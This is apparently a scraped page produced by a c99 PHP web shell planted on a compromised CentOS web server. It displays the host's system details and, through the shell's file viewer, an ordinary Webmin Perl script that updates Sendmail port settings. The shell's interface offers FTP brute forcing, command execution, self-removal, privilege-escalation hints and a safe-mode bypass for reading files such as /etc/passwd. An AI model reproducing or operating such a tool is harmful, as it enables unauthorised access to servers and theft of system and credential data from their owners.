!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/sendmail/   drwxr-xr-x
Free 49.59 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_ports.cgi (2.47 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Update the list of TCP ports Sendmail uses

require './sendmail-lib.pl';
require './features-lib.pl';

&ReadParse();
&error_setup($text{'ports_err'});
$access{'ports'} || &error($text{'ports_ecannot'});

# Parse and validate inputs
@ports = ( );
if (!$in{'ports_def'}) {
    for($i=0; defined($name=$in{"name_$i"}); $i++) {
        # Port name
        next if (!$name);
        $name =~ /^[a-z0-9\_]+$/i || &error(&text('ports_ename', $i+1));
        $done{$name}++ && &error(&text('ports_eclash', $i+1));
        @opts = ( "Name=$name" );

        # IP address
        if (!$in{"addr_${i}_def"}) {
            &check_ipaddress($in{"addr_$i"}) ||
               &check_ip6address($in{"addr_$i"}) ||
                &error(&text('ports_eaddr', $i+1));
            push(@opts, "Address=".$in{"addr_$i"});
            }

        # Family
        if ($in{"family_${i}"}) {
            push(@opts, "Family=".$in{"family_${i}"});
            }

        # TCP port
        if (!$in{"port_${i}_def"}) {
            $in{"port_$i"} =~ /^\d+$/ && $in{"port_$i"} > 0 &&
                $in{"port_$i"} < 65536 ||
                getservbyname($in{"port_$i"}, "tcp") ||
                &error(&text('ports_eport', $i+1));
            push(@opts, "Port=".$in{"port_$i"});
            }

        # Modifiers
        @mods = split(/\0/, $in{"mod_$i"});
        if (@mods) {
            push(@opts, "Modifiers=".join("", @mods));
            }

        # Other options
        push(@opts, split(/,/, $in{"other_$i"}));
        push(@ports, join(",", @opts));
        }
    }

# Update sendmail.cf
&lock_file($config{'sendmail_cf'});
$conf = &get_sendmailcf();
@oldlist = map { $_->[0] } &find_options("DaemonPortOptions", $conf);
@newlist = map { { 'type' => 'O',
           'values' => [ " DaemonPortOptions=$_" ] } } @ports;
&save_directives($conf, \@oldlist, \@newlist);
&flush_file_lines($config{'sendmail_cf'});
&unlock_file($config{'sendmail_cf'});

# Update .mc file too, if we have one
if ($features_access) {
    @features = &list_features();
    if (@features) {
        &lock_file($config{'sendmail_mc'});
        @dpa = grep { $_->{'type'} == 0 &&
            $_->{'text'} =~ /^DAEMON_OPTIONS/ } @features;
        for($i=0; $i<@dpa || $i<@ports; $i++) {
            if ($dpa[$i] && $ports[$i]) {
                # Modify
                $dpa[$i]->{'text'} =
                    "DAEMON_OPTIONS(`$ports[$i]')";
                &modify_feature($dpa[$i]);
                }
            elsif ($dpa[$i] && !$ports[$i]) {
                # No longer needed .. delete
                &delete_feature($dpa[$i]);
                }
            elsif (!$dpa[$i] && $ports[$i]) {
                # Add new feature
                $f = { 'type' => 0,
                       'text' => "DAEMON_OPTIONS(`$ports[$i]')" };
                &create_feature($f);
                }
            }
        &unlock_file($config{'sendmail_mc'});
        }
    }

# Restart Sendmail
&restart_sendmail();
&webmin_log("ports");
&redirect("");


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0131 ]--